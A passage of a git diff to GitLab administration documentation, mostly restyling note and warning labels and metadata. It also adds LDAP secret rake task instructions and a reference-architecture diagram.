you switch it to a standby node, repmgr will report that there are two masters.
If there are any clients that are still attempting to write to the old master,
@@ -1148,7 +1148,7 @@ If you're running into an issue with a component not outlined here, be sure to c
## Patroni
-NOTE: **Note:**
+NOTE:
Starting from GitLab 13.1, Patroni is available for **experimental** use to replace repmgr. Due to its
experimental nature, Patroni support is **subject to change without notice.**
@@ -1326,7 +1326,7 @@ For further details, see [Patroni documentation on this subject](https://patroni
### Switching from repmgr to Patroni
-CAUTION: **Warning:**
+WARNING:
Although switching from repmgr to Patroni is fairly straightforward the other way around is not. Rolling back from
Patroni to repmgr can be complicated and may involve deletion of data directory. If you need to do that, please contact
GitLab support.
@@ -1345,7 +1345,7 @@ You can switch an exiting database cluster to use Patroni instead of repmgr with
sudo gitlab-ctl stop postgresql
```
- NOTE: **Note:**
+ NOTE:
Ensure that there is no `walsender` process running on the primary node.
`ps aux | grep walsender` must not show any running process.
@@ -1367,7 +1367,7 @@ As of GitLab 13.3, PostgreSQL 11.7 and 12.3 are both shipped with Omnibus GitLab
uses PostgreSQL 11 by default. Therefore `gitlab-ctl pg-upgrade` does not automatically upgrade
to PostgreSQL 12. If you want to upgrade to PostgreSQL 12, you must ask for it explicitly.
-CAUTION: **Warning:**
+WARNING:
The procedure for upgrading PostgreSQL in a Patroni cluster is different than when upgrading using repmgr.
The following outlines the key differences and important considerations that need to be accounted for when
upgrading PostgreSQL.
@@ -1401,7 +1401,7 @@ Considering these, you should carefully plan your PostgreSQL upgrade:
gitlab-ctl patroni members
```
- NOTE: **Note:**
+ NOTE:
`gitlab-ctl pg-upgrade` tries to detect the role of the node. If for any reason the auto-detection
does not work or you believe it did not detect the role correctly, you can use the `--leader` or `--replica`
arguments to manually override it.
@@ -1446,7 +1446,7 @@ Considering these, you should carefully plan your PostgreSQL upgrade:
sudo gitlab-ctl pg-upgrade -V 12
```
-NOTE: **Note:**
+NOTE:
Reverting PostgreSQL upgrade with `gitlab-ctl revert-pg-upgrade` has the same considerations as
`gitlab-ctl pg-upgrade`. You should follow the same procedure by first stopping the replicas,
then reverting the leader, and finally reverting the replicas.
diff --git a/doc/administration/postgresql/standalone.md b/doc/administration/postgresql/standalone.md
index 2ac74e8a4a0..30495824cd2 100644
--- a/doc/administration/postgresql/standalone.md
+++ b/doc/administration/postgresql/standalone.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Database
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Standalone PostgreSQL using Omnibus GitLab **(CORE ONLY)**
@@ -59,7 +59,7 @@ together with Omnibus GitLab. This is recommended as part of our
gitlab_rails['auto_migrate'] = false
```
- NOTE: **Note:**
+ NOTE:
The role `postgres_role` was introduced with GitLab 10.3
1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
diff --git a/doc/administration/pseudonymizer.md b/doc/administration/pseudonymizer.md
index 41a7ec087ac..5f1272b1f4a 100644
--- a/doc/administration/pseudonymizer.md
+++ b/doc/administration/pseudonymizer.md
@@ -1,18 +1,18 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Enablement
+group: Distribution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Pseudonymizer **(ULTIMATE)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/5532) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.1.
-As GitLab's database hosts sensitive information, using it unfiltered for analytics
+As the GitLab database hosts sensitive information, using it unfiltered for analytics
implies high security requirements. To help alleviate this constraint, the Pseudonymizer
-service is used to export GitLab's data in a pseudonymized way.
+service is used to export GitLab data in a pseudonymized way.
-CAUTION: **Warning:**
+WARNING:
This process is not impervious. If the source data is available, it's possible for
a user to correlate data to the pseudonymized version.
@@ -28,7 +28,7 @@ To configure the pseudonymizer, you need to:
- Provide a manifest file that describes which fields should be included or
pseudonymized ([example `manifest.yml` file](https://gitlab.com/gitlab-org/gitlab/tree/master/config/pseudonymizer.yml)).
- A default manifest is provided with the GitLab installation. Using a relative file path will be resolved from the Rails root.
+ A default manifest is provided with the GitLab installation, using a relative file path that resolves from the Rails root.
Alternatively, you can use an absolute file path.
- Use an object storage and specify the connection parameters in the `pseudonymizer.upload.connection` configuration option.
@@ -100,7 +100,7 @@ sudo gitlab-rake gitlab:db:pseudonymizer
sudo -u git -H bundle exec rake gitlab:db:pseudonymizer RAILS_ENV=production
```
-This will produce some CSV files that might be very large, so make sure the
+This produces some CSV files that might be very large, so make sure the
`PSEUDONYMIZER_OUTPUT_DIR` has sufficient space. As a rule of thumb, at least
10% of the database size is recommended.
diff --git a/doc/administration/raketasks/check.md b/doc/administration/raketasks/check.md
index f61a3107b3d..25869fd425d 100644
--- a/doc/administration/raketasks/check.md
+++ b/doc/administration/raketasks/check.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Enablement
+group: Distribution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Integrity check Rake task **(CORE ONLY)**
@@ -56,7 +56,7 @@ sudo -u git -H bundle exec rake gitlab:git:fsck RAILS_ENV=production
Various types of files can be uploaded to a GitLab installation by users.
These integrity checks can detect missing files. Additionally, for locally
stored files, checksums are generated and stored in the database upon upload,
-and these checks will verify them against current files.
+and these checks verify them against current files.
Currently, integrity checks are supported for the following types of file:
@@ -137,8 +137,8 @@ Done!
## LDAP check
-The LDAP check Rake task will test the bind DN and password credentials
-(if configured) and will list a sample of LDAP users. This task is also
+The LDAP check Rake task tests the bind DN and password credentials
+(if configured) and lists a sample of LDAP users. This task is also
executed as part of the `gitlab:check` task, but can run independently.
See [LDAP Rake Tasks - LDAP Check](ldap.md#check) for details.
diff --git a/doc/administration/raketasks/doctor.md b/doc/administration/raketasks/doctor.md
index e6a6751f199..c80f580cce6 100644
--- a/doc/administration/raketasks/doctor.md
+++ b/doc/administration/raketasks/doctor.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Geo
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Doctor Rake tasks **(CORE ONLY)**
diff --git a/doc/administration/raketasks/geo.md b/doc/administration/raketasks/geo.md
index 0ee6fd8fc75..492fe4b52ca 100644
--- a/doc/administration/raketasks/geo.md
+++ b/doc/administration/raketasks/geo.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Geo
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Geo Rake Tasks **(PREMIUM ONLY)**
diff --git a/doc/administration/raketasks/github_import.md b/doc/administration/raketasks/github_import.md
index d549110c32f..5c0bc721a9a 100644
--- a/doc/administration/raketasks/github_import.md
+++ b/doc/administration/raketasks/github_import.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Enablement
+group: Distribution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# GitHub import **(CORE ONLY)**
@@ -10,7 +10,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
To retrieve and import GitHub repositories, you need a [GitHub personal access token](https://github.com/settings/tokens).
A username should be passed as the second argument to the Rake task,
-which will become the owner of the project. You can resume an import
+which becomes the owner of the project. You can resume an import
with the same command.
Bear in mind that the syntax is very specific. Remove any spaces within the argument block and
@@ -20,7 +20,7 @@ before/after the brackets. Also, some shells (for example, `zsh`) can interpret
## Caveats
If the GitHub [rate limit](https://developer.github.com/v3/#rate-limiting) is reached while importing,
-the importing process will wait (`sleep()`) until it can continue importing.
+the importing process waits (`sleep()`) until it can continue importing.
## Importing multiple projects
@@ -35,8 +35,8 @@ bundle exec rake "import:github[access_token,root,foo/bar]" RAILS_ENV=production
```
In this case, `access_token` is your GitHub personal access token, `root`
-is your GitLab username, and `foo/bar` is the new GitLab namespace/project that
-will get created from your GitHub project. Subgroups are also possible: `foo/foo/bar`.
+is your GitLab username, and `foo/bar` is the new GitLab namespace/project
+created from your GitHub project. Subgroups are also possible: `foo/foo/bar`.
## Importing a single project
diff --git a/doc/administration/raketasks/ldap.md b/doc/administration/raketasks/ldap.md
index 821a72291fd..7dafda89e3c 100644
--- a/doc/administration/raketasks/ldap.md
+++ b/doc/administration/raketasks/ldap.md
@@ -1,7 +1,7 @@
---
stage: Manage
group: Access
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# LDAP Rake tasks **(CORE ONLY)**
@@ -42,7 +42,7 @@ The following task will run a [group sync](../auth/ldap/index.md#group-sync) imm
when you'd like to update all configured group memberships against LDAP without
waiting for the next scheduled group sync to be run.
-NOTE: **Note:**
+NOTE:
If you'd like to change the frequency at which a group sync is performed,
[adjust the cron schedule](../auth/ldap/index.md#adjusting-ldap-group-sync-schedule)
instead.
@@ -147,3 +147,96 @@ confirmation dialog:
```shell
sudo gitlab-rake gitlab:ldap:rename_provider[old_provider,new_provider] force=yes
```
+
+## Secrets
+
+GitLab can use [LDAP configuration secrets](../auth/ldap/index.md#using-encrypted-credentials) to read from an encrypted file. The following Rake tasks are provided for updating the contents of the encrypted file.
+
+### Show secret
+
+Show the contents of the current LDAP secrets.
+
+**Omnibus Installation**
+
+```shell
+sudo gitlab-rake gitlab:ldap:secret:show
+```
+
+**Source Installation**
+
+```shell
+bundle exec rake gitlab:ldap:secret:show RAILS_ENV=production
+```
+
+**Example output:**
+
+```plaintext
+main:
+ password: '123'
+ user_bn: 'gitlab-adm'
+```
+
+### Edit secret
+
+Opens the secret contents in your editor, and writes the resulting content to the encrypted secret file when you exit.
+
+**Omnibus Installation**
+
+```shell
+sudo gitlab-rake gitlab:ldap:secret:edit EDITOR=vim
+```
+
+**Source Installation**
+
+```shell
+bundle exec rake gitlab:ldap:secret:edit RAILS_ENV=production EDITOR=vim
+```
+
+### Write raw secret
+
+Write new secret content by providing it on STDIN.
+
+**Omnibus Installation**
+
+```shell
+echo -e "main:\n password: '123'" | sudo gitlab-rake gitlab:ldap:secret:write
+```
+
+**Source Installation**
+
+```shell
+echo -e "main:\n password: '123'" | bundle exec rake gitlab:ldap:secret:write RAILS_ENV=production
+```
+
+### Secrets examples
+
+**Editor example**
+
+The write task can be used in cases where the edit command does not work with your editor:
+
+```shell
+# Write the existing secret to a plaintext file
+sudo gitlab-rake gitlab:ldap:secret:show > ldap.yaml
+# Edit the ldap file in your editor
+...
+# Re-encrypt the file
+cat ldap.yaml | sudo gitlab-rake gitlab:ldap:secret:write
+# Remove the plaintext file
+rm ldap.yaml
+```
+
+**KMS integration example**
+
+It can also be used as a receiving application for content encrypted with a KMS:
+
+```shell
+gcloud kms decrypt --key my-key --keyring my-test-kms --plaintext-file=- --ciphertext-file=my-file --location=us-west1 | sudo gitlab-rake gitlab:ldap:secret:write
+```
+
+**gcloud secret integration example**
+
+It can also be used as a receiving application for secrets out of gcloud:
+
+```shell
+gcloud secrets versions access latest --secret="my-test-secret" > $1 | sudo gitlab-rake gitlab:ldap:secret:write
+```
diff --git a/doc/administration/raketasks/maintenance.md b/doc/administration/raketasks/maintenance.md
index b93442be0a1..26381434ad4 100644
--- a/doc/administration/raketasks/maintenance.md
+++ b/doc/administration/raketasks/maintenance.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Enablement
+group: Distribution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Maintenance Rake tasks **(CORE ONLY)**
@@ -107,8 +107,8 @@ The `gitlab:check` Rake task runs the following Rake tasks:
- `gitlab:sidekiq:check`
- `gitlab:app:check`
-It will check that each component was set up according to the installation guide and suggest fixes
-for issues found. This command must be run from your application server and will not work correctly on
+It checks that each component was set up according to the installation guide and suggest fixes
+for issues found. This command must be run from your application server and doesn't work correctly on
component servers like [Gitaly](../gitaly/index.md#run-gitaly-on-its-own-server).
You may also have a look at our troubleshooting guides for:
@@ -272,7 +272,7 @@ clear it.
To clear all exclusive leases:
-DANGER: **Warning:**
+WARNING:
Don't run it while GitLab or Sidekiq is running
```shell
@@ -300,7 +300,7 @@ To check the status of specific migrations, you can use the following Rake task:
sudo gitlab-rake db:migrate:status
```
-This will output a table with a `Status` of `up` or `down` for
+This outputs a table with a `Status` of `up` or `down` for
each Migration ID.
```shell
@@ -313,7 +313,7 @@ database: gitlabhq_production
## Run incomplete database migrations
-Database migrations can be stuck in an incomplete state. That is, they'll have a `down`
+Database migrations can be stuck in an incomplete state, with a `down`
status in the output of the `sudo gitlab-rake db:migrate:status` command.
To complete these migrations, use the following Rake task:
diff --git a/doc/administration/raketasks/praefect.md b/doc/administration/raketasks/praefect.md
index ca9c2065904..17c3e44bb7e 100644
--- a/doc/administration/raketasks/praefect.md
+++ b/doc/administration/raketasks/praefect.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Gitaly
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
diff --git a/doc/administration/raketasks/project_import_export.md b/doc/administration/raketasks/project_import_export.md
index d83ab6e5cee..0ea0bb3c28f 100644
--- a/doc/administration/raketasks/project_import_export.md
+++ b/doc/administration/raketasks/project_import_export.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Enablement
+group: Distribution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Project import/export administration **(CORE ONLY)**
@@ -36,7 +36,7 @@ sudo gitlab-rake gitlab:import_export:version
bundle exec rake gitlab:import_export:version RAILS_ENV=production
```
-The current list of DB tables that will be exported can be listed by using the following command:
+The current list of DB tables to export can be listed by using the following command:
```shell
# Omnibus installations
diff --git a/doc/administration/raketasks/storage.md b/doc/administration/raketasks/storage.md
index 9b15f5ed4de..c7afebf15bd 100644
--- a/doc/administration/raketasks/storage.md
+++ b/doc/administration/raketasks/storage.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Enablement
+group: Distribution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Repository storage Rake tasks **(CORE ONLY)**
@@ -74,7 +74,7 @@ To have a summary and then a list of projects and their attachments using hashed
## Migrate to hashed storage
-DANGER: **Deprecated:**
+WARNING:
In GitLab 13.0, [hashed storage](../repository_storage_types.md#hashed-storage)
is enabled by default and the legacy storage is deprecated.
Support for legacy storage will be removed in GitLab 14.0. If you're on GitLab
@@ -82,8 +82,9 @@ Support for legacy storage will be removed in GitLab 14.0. If you're on GitLab
The option to choose between hashed and legacy storage in the admin area has
been disabled.
-This task will schedule all your existing projects and attachments associated
-with it to be migrated to the **Hashed** storage type:
+This task must be run on any machine that has Rails/Sidekiq configured and will
+schedule all your existing projects and attachments associated with it to be
+migrated to the **Hashed** storage type:
- **Omnibus installation**
@@ -123,7 +124,7 @@ commands below that helps you inspect projects and attachments in both legacy an
## Rollback from hashed storage to legacy storage
-DANGER: **Deprecated:**
+WARNING:
In GitLab 13.0, [hashed storage](../repository_storage_types.md#hashed-storage)
is enabled by default and the legacy storage is deprecated.
Support for legacy storage will be removed in GitLab 14.0. If you're on GitLab
diff --git a/doc/administration/raketasks/uploads/migrate.md b/doc/administration/raketasks/uploads/migrate.md
index 075b27fb70d..2f51bf9357f 100644
--- a/doc/administration/raketasks/uploads/migrate.md
+++ b/doc/administration/raketasks/uploads/migrate.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Enablement
+group: Distribution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Uploads migrate Rake tasks **(CORE ONLY)**
@@ -13,10 +13,10 @@ There is a Rake task for migrating uploads between different storage types.
## Migrate to object storage
-After [configuring the object storage](../../uploads.md#using-object-storage) for GitLab's
-uploads, use this task to migrate existing uploads from the local storage to the remote storage.
+After [configuring the object storage](../../uploads.md#using-object-storage) for uploads
+to GitLab, use this task to migrate existing uploads from the local storage to the remote storage.
-All of the processing will be done in a background worker and requires **no downtime**.
+All of the processing is done in a background worker and requires **no downtime**.
Read more about using [object storage with GitLab](../../object_storage.md).
@@ -55,8 +55,8 @@ The Rake task uses three parameters to find uploads to migrate:
| `model_class` | string | Type of the model to migrate from. |
| `mount_point` | string/symbol | Name of the model's column the uploader is mounted on. |
-NOTE: **Note:**
-These parameters are mainly internal to GitLab's structure, you may want to refer to the task list
+NOTE:
+These parameters are mainly internal to the structure of GitLab, you may want to refer to the task list
instead below.
This task also accepts an environment variable which you can use to override
@@ -131,9 +131,9 @@ sudo -u git -H bundle exec rake "gitlab:uploads:migrate[DesignManagement::Design
If you need to disable [object storage](../../object_storage.md) for any reason, you must first
migrate your data out of object storage and back into your local storage.
-CAUTION: **Warning:**
+WARNING:
**Extended downtime is required** so no new files are created in object storage during
-the migration. A configuration setting will be added soon to allow migrating
+the migration. A configuration setting is planned to allow migrating
from object storage to local files with only a brief moment of downtime for configuration changes.
To follow progress, see the [relevant issue](https://gitlab.com/gitlab-org/gitlab/-/issues/30979).
diff --git a/doc/administration/raketasks/uploads/sanitize.md b/doc/administration/raketasks/uploads/sanitize.md
index 4f7c99babd8..637992d52ca 100644
--- a/doc/administration/raketasks/uploads/sanitize.md
+++ b/doc/administration/raketasks/uploads/sanitize.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Enablement
+group: Distribution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Uploads sanitize Rake tasks **(CORE ONLY)**
@@ -41,8 +41,8 @@ The Rake task accepts following parameters.
| Parameter | Type | Description |
|:-------------|:--------|:----------------------------------------------------------------------------------------------------------------------------|
-| `start_id` | integer | Only uploads with equal or greater ID will be processed |
-| `stop_id` | integer | Only uploads with equal or smaller ID will be processed |
+| `start_id` | integer | Only uploads with equal or greater ID are processed |
+| `stop_id` | integer | Only uploads with equal or smaller ID are processed |
| `dry_run` | boolean | Do not remove EXIF data, only check if EXIF data are present or not. Defaults to `true` |
| `sleep_time` | float | Pause for number of seconds after processing each image. Defaults to 0.3 seconds |
| `uploader` | string | Run sanitization only for uploads of the given uploader: `FileUploader`, `PersonalFileUploader`, or `NamespaceFileUploader` |
@@ -66,7 +66,7 @@ To remove EXIF data on uploads with an ID between 100 and 5000 and pause for 0.1
sudo RAILS_ENV=production -u git -H bundle exec rake gitlab:uploads:sanitize:remove_exif[100,5000,false,0.1] 2>&1 | tee exif.log
```
-The output is written into an `exif.log` file because it will probably be long.
+The output is written into an `exif.log` file because it is often long.
If sanitization fails for an upload, an error message should be in the output of the Rake task.
Typical reasons include that the file is missing in the storage or it's not a valid image.
diff --git a/doc/administration/read_only_gitlab.md b/doc/administration/read_only_gitlab.md
index 681102a8c39..d1cb53d0090 100644
--- a/doc/administration/read_only_gitlab.md
+++ b/doc/administration/read_only_gitlab.md
@@ -1,12 +1,12 @@
---
stage: Enablement
group: Distribution
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Place GitLab into a read-only state **(CORE ONLY)**
-CAUTION: **Warning:**
+WARNING:
This document should be used as a temporary solution.
There's work in progress to make this
[possible with Geo](https://gitlab.com/groups/gitlab-org/-/epics/2149).
diff --git a/doc/administration/redis/index.md b/doc/administration/redis/index.md
index 0bd56666ab8..30618075c8f 100644
--- a/doc/administration/redis/index.md
+++ b/doc/administration/redis/index.md
@@ -2,7 +2,7 @@
type: index
stage: Enablement
group: Distribution
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Configuring Redis for scaling
diff --git a/doc/administration/redis/replication_and_failover.md b/doc/administration/redis/replication_and_failover.md
index 72a52ba0a1f..1abc52b65cc 100644
--- a/doc/administration/redis/replication_and_failover.md
+++ b/doc/administration/redis/replication_and_failover.md
@@ -2,16 +2,16 @@
type: howto
stage: Enablement
group: Distribution
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Redis replication and failover with Omnibus GitLab **(PREMIUM ONLY)**
-NOTE: **Note:**
+NOTE:
This is the documentation for the Omnibus GitLab packages. For using your own
non-bundled Redis, follow the [relevant documentation](replication_and_failover_external.md).
-NOTE: **Note:**
+NOTE:
In Redis lingo, primary is called master. In this document, primary is used
instead of master, except the settings where `master` is required.
@@ -162,7 +162,7 @@ is not achieved (see the odd number of nodes requirement above). In that case,
a new attempt will be made after the amount of time defined in
`sentinel['failover_timeout']` (in milliseconds).
-NOTE: **Note:**
+NOTE:
We will see where `sentinel['failover_timeout']` is defined later.
The `failover_timeout` variable has a lot of different use cases. According to
@@ -194,7 +194,7 @@ It is assumed that you have installed GitLab and all its components from scratch
If you already have Redis installed and running, read how to
[switch from a single-machine installation](#switching-from-an-existing-single-machine-installation).
-NOTE: **Note:**
+NOTE:
Redis nodes (both primary and replica) will need the same password defined in
`redis['password']`. At any time during a failover the Sentinels can
reconfigure a node and change its status from primary to replica and vice versa.
@@ -277,7 +277,7 @@ If you fail to replicate first, you may loose data (unprocessed background jobs)
1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
-NOTE: **Note:**
+NOTE:
You can specify multiple roles like sentinel and Redis as:
`roles ['redis_sentinel_role', 'redis_master_role']`.
Read more about [roles](https://docs.gitlab.com/omnibus/roles/).
@@ -327,7 +327,7 @@ Read more about [roles](https://docs.gitlab.com/omnibus/roles/).
1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
1. Go through the steps again for all the other replica nodes.
-NOTE: **Note:**
+NOTE:
You can specify multiple roles like sentinel and Redis as:
`roles ['redis_sentinel_role', 'redis_master_role']`.
Read more about [roles](https://docs.gitlab.com/omnibus/roles/).
@@ -339,7 +339,7 @@ the same Sentinels.
### Step 3. Configuring the Redis Sentinel instances
-NOTE: **Note:**
+NOTE:
If you are using an external Redis Sentinel instance, be sure
to exclude the `requirepass` parameter from the Sentinel
configuration. This parameter will cause clients to report `NOAUTH
@@ -465,7 +465,7 @@ the correct credentials for the Sentinel nodes.
While it doesn't require a list of all Sentinel nodes, in case of a failure,
it needs to access at least one of the listed.
-NOTE: **Note:**
+NOTE:
The following steps should be performed in the GitLab application server
which ideally should not have Redis or Sentinels on it for a HA setup.
@@ -690,7 +690,7 @@ To make this work with Sentinel:
sudo gitlab-ctl reconfigure
```
-NOTE: **Note:**
+NOTE:
For each persistence class, GitLab will default to using the
configuration specified in `gitlab_rails['redis_sentinels']` unless
overridden by the previously described settings.
diff --git a/doc/administration/redis/replication_and_failover_external.md b/doc/administration/redis/replication_and_failover_external.md
index 7561f1c0fbf..3bcefe2ef13 100644
--- a/doc/administration/redis/replication_and_failover_external.md
+++ b/doc/administration/redis/replication_and_failover_external.md
@@ -2,7 +2,7 @@
type: howto
stage: Enablement
group: Distribution
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Redis replication and failover providing your own instance **(CORE ONLY)**
diff --git a/doc/administration/redis/standalone.md b/doc/administration/redis/standalone.md
index ea5a7850244..0e7eca84d17 100644
--- a/doc/administration/redis/standalone.md
+++ b/doc/administration/redis/standalone.md
@@ -2,7 +2,7 @@
type: howto
stage: Enablement
group: Distribution
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Standalone Redis using Omnibus GitLab **(CORE ONLY)**
diff --git a/doc/administration/redis/troubleshooting.md b/doc/administration/redis/troubleshooting.md
index c9976ac791d..144660c50ea 100644
--- a/doc/administration/redis/troubleshooting.md
+++ b/doc/administration/redis/troubleshooting.md
@@ -2,7 +2,7 @@
type: reference
stage: Enablement
group: Distribution
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Troubleshooting Redis
diff --git a/doc/administration/reference_architectures/10k_users.md b/doc/administration/reference_architectures/10k_users.md
index 9f522e0d599..216d3867d0a 100644
--- a/doc/administration/reference_architectures/10k_users.md
+++ b/doc/administration/reference_architectures/10k_users.md
@@ -2,7 +2,7 @@
reading_time: true
stage: Enablement
group: Distribution
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Reference architecture: up to 10,000 users **(PREMIUM ONLY)**
@@ -24,8 +24,8 @@ full list of reference architectures, see
| Internal load balancing node | 1 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 |
| Redis - Cache | 3 | 4 vCPU, 15 GB memory | n1-standard-4 | m5.xlarge | D4s v3 |
| Redis - Queues / Shared State | 3 | 4 vCPU, 15 GB memory | n1-standard-4 | m5.xlarge | D4s v3 |
-| Redis Sentinel - Cache | 3 | 1 vCPU, 1.7 GB memory | g1-small | t2.small | B1MS |
-| Redis Sentinel - Queues / Shared State | 3 | 1 vCPU, 1.7 GB memory | g1-small | t2.small | B1MS |
+| Redis Sentinel - Cache | 3 | 1 vCPU, 1.7 GB memory | g1-small | t3.small | B1MS |
+| Redis Sentinel - Queues / Shared State | 3 | 1 vCPU, 1.7 GB memory | g1-small | t3.small | B1MS |
| Gitaly | 2 (minimum) | 16 vCPU, 60 GB memory | n1-standard-16 | m5.4xlarge | D16s v3 |
| Sidekiq | 4 | 4 vCPU, 15 GB memory | n1-standard-4 | m5.xlarge | D4s v3 |
| GitLab Rails | 3 | 32 vCPU, 28.8 GB memory | n1-highcpu-32 | c5.9xlarge | F32s v2 |
@@ -33,6 +33,81 @@ full list of reference architectures, see
| Object storage | n/a | n/a | n/a | n/a | n/a |
| NFS server | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | c5.xlarge | F4s v2 |
+```mermaid
+stateDiagram-v2
+ [*] --> LoadBalancer
+ LoadBalancer --> ApplicationServer
+
+ ApplicationServer --> BackgroundJobs
+ ApplicationServer --> Gitaly
+ ApplicationServer --> Redis_Cache
+ ApplicationServer --> Redis_Queues
+ ApplicationServer --> PgBouncer
+ PgBouncer --> Database
+ ApplicationServer --> ObjectStorage
+ BackgroundJobs --> ObjectStorage
+
+ ApplicationMonitoring -->ApplicationServer
+ ApplicationMonitoring -->PgBouncer
+ ApplicationMonitoring -->Database
+ ApplicationMonitoring -->BackgroundJobs
+
+ ApplicationServer --> Consul
+
+ Consul --> Database
+ Consul --> PgBouncer
+ Redis_Cache --> Consul
+ Redis_Queues --> Consul
